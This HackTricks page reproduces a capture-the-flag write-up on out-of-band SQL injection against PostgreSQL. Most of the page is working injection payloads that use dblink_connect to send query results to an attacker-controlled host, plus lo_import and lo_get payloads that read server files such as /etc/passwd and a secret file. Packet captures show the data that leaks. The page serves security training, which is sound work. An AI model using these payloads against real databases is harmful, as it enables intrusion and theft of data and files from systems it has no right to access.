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197 lines
13 KiB
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197 lines
13 KiB
Markdown
# dblink/lo\_import data exfiltration
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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</details>
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**This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.**
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## Preparing the exfiltration server/Asynchronous SQL Injection
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**Extracted from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
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Because the `pg_sleep` also doesn't cause delay, we can safely assume if query execution occurs in the background or asynchronously.
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Normally, `dblink_connect` can be used to open a persistent connection to a remote PostgreSQL database (e.g. `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Because we can control the parameter of this function, we can perform SQL Server Side Request Forgery to our own host. That means, we can perform Out-of-Band SQL Injection to exfiltrate data from SQL query results. At least, there are two ways to do this:
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1. Set up a **DNS server** and then trigger the connection to `[data].our.domain` so that we can see the data in the log or in the DNS network packets.
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2. Set up a **public PostgreSQL server, monitor the incoming network packets to PostgreSQL port**, and then trigger a connection to our host with exfiltrated data as `user`/`dbname`. By **default**, PostgreSQL doesn't use SSL for communication so we can see `user`/`dbname` as a **plain-text** on the network.
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The **second method is easier** because we don't need any domain. We only need to set up a server with a public IP, install PostgreSQL, set the PostgreSQL service to listen to \*/0.0.0.0, and run a network dumper (e.g. tcpdump) to monitor traffic to the PostgreSQL port (5432 by default).
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To set PostgreSQL so that it will **listen to the public**, set `listen_addresses` in `postgresql.conf` to `*`.
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```
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listen_addresses = '*'
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```
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To monitor incoming traffic, run `tcpdump` to monitor port 5432.
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```
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sudo tcpdump -nX -i eth0 port 5432
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```
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To see if we get a connection from the target, we can try using this query:
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```
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asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
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```
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If successful, we get a piece of network packet with readable `user` and `dbname`.
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```
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17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
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0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
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0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
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0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
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0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
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0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
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0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
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```
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Then, we can **continue to extract the database using several PostgreSQL queries**. Note that for each query result that contains whitespaces, we need to convert the result to **hex/base64** with `encode` function or replace the whitespace to other character with `replace` function because it will cause an execution error during `dblink_connect` process.
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Get a **list** of **schemas**:
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```
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asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
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```
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```
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17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
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0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
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0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
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0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
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0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
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0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
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0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
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0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
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0x0070: 6f73 7467 7265 7300 00 ostgres.
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```
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Get a **list** of **tables** in current schema:
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```
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asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
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```
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```
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17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
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0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
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0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
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0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
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0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
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0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
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0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
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```
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**Count** the **rows** in `searches` table.
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```
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asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
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```
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```
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17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
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0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
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0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
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0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
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0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
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0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
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0x0050: 6772 6573 0000 gres.
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```
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It looks like it only has one empty table in the current schema and the flag is not in the database. We may really need to exfiltrate data from `/var/lib/postgresql/data/secret`. Unfortunately, if we try to use `pg_read_file` or `pg_read_binary_file` to read the file, we will not get an incoming connection so that the current user may not have permission to use these functions.
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#### More info of asynchronous SQLInjection with postdresql
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* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
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## **Exfiltrating large object contents**
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It's possible to read file using large objects ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). We can use `lo_import` to load the contents of the file into the `pg_largeobject` catalog. If the query is success, we will get the object's `oid`.
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```
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asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
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```
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```
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17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
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0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
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0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
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0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
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0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
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0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
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0x0050: 706f 7374 6772 6573 0000 postgres..
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```
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We got 24668 as `oid` so that means we can use `lo_import` function. Unfortunately, we won't get any results if we try to get the content of large object using `lo_get(24668)` or directly access the `pg_largeobject` catalog. **It looks like the current user doesn't have permission to read the content of new objects.**
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After reading the documentation of large objects in PostgreSQL, we can find out that **large objects can has ACL** (Access Control List). That means, if there is an old object with an ACL that allows current user to read it, then we can exfiltrate that object's content.
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We can get a list of available large object's `oid` by extracting from `pg_largeobject_metadata`.
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```
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asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
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```
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```
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18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
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0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
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0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
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0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
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0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
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0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
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0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
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0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
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0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
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0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
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0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
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.....
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.....
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.....
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```
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We got a bunch of `oid`s. We can try using `lo_get` to load object's content. For example, `lo_get(16439)` will load the content of `/etc/passwd`. Because the result of `lo_gets` is `bytea`, we need to convert it to `UTF8` so that it can be appended in the query.
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We can try to load some objects with lowest `oid` to find out if the flag file has been loaded before. The flag file object does exist with `oid` 16444. There are no whitespaces in the flag so we can just display it as is.
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To load the flag:
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```
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asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
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```
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#### More info of oid:
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* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
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* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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